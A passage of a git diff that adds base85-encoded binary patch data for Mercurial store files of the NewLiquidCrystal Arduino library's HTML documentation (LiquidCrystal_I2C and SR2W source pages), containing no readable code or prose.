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 DRwPIO literal 0 HcmV?d00001 diff --git a/libraries/NewliquidCrystal/.hg/store/data/docs/html/__liquid__crystal______i2__c__8h__source.html.i b/libraries/NewliquidCrystal/.hg/store/data/docs/html/__liquid__crystal______i2__c__8h__source.html.i new file mode 100644 index 0000000000000000000000000000000000000000..407b6fdf0e8d6213d20c99df71770033321ee439 GIT binary patch literal 13012 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 literal 0 HcmV?d00001 diff --git a/libraries/NewliquidCrystal/.hg/store/data/docs/html/__liquid__crystal______s__r2__w__8cpp__source.html.i b/libraries/NewliquidCrystal/.hg/store/data/docs/html/__liquid__crystal______s__r2__w__8cpp__source.html.i new file mode 100644 index 0000000000000000000000000000000000000000..2405b9e56d7aade4af9e15a4a7e161c04b7bda36 GIT binary patch literal 8446 zcmYjVWmg=El4Njq3mO6p?vP-?-Q9xw;0}YkySw|K!7aE43$6*Sg9n$r_wCzrwmwwX z>8>BpRWJY;0L*`Y#|Z-?W%|DwChz^fK&@J$lru3mCp`YJw-YEkURVoDwJtMx_}{muOX+zdu4lYv3{y}#4CFvu+vvUR!B(a9_g7{SxkPKZ z*7@=tZAFr3cn_lI2PiDO+wJD#l=1Ck1sXSt701)<A9!B-o_14dG@0tDPqtd|1Y=?IpLR z4PZW(y)+Hd3n zoNLKdxJ<|QoP6LZDMf!_B-xjZaSc{Y_VNXxp9m;BFz28<#<6|Pwy@6B;@dy+!@nu< zXBo~Z;gvg|Q}bTPE4487tR#Km|zB}Y?o;fF52cjt(%%lJ`Z2HUmXG{Ux)DWQM=;QRY_2b;EBh5+z7+L=|f69u7w3$qP 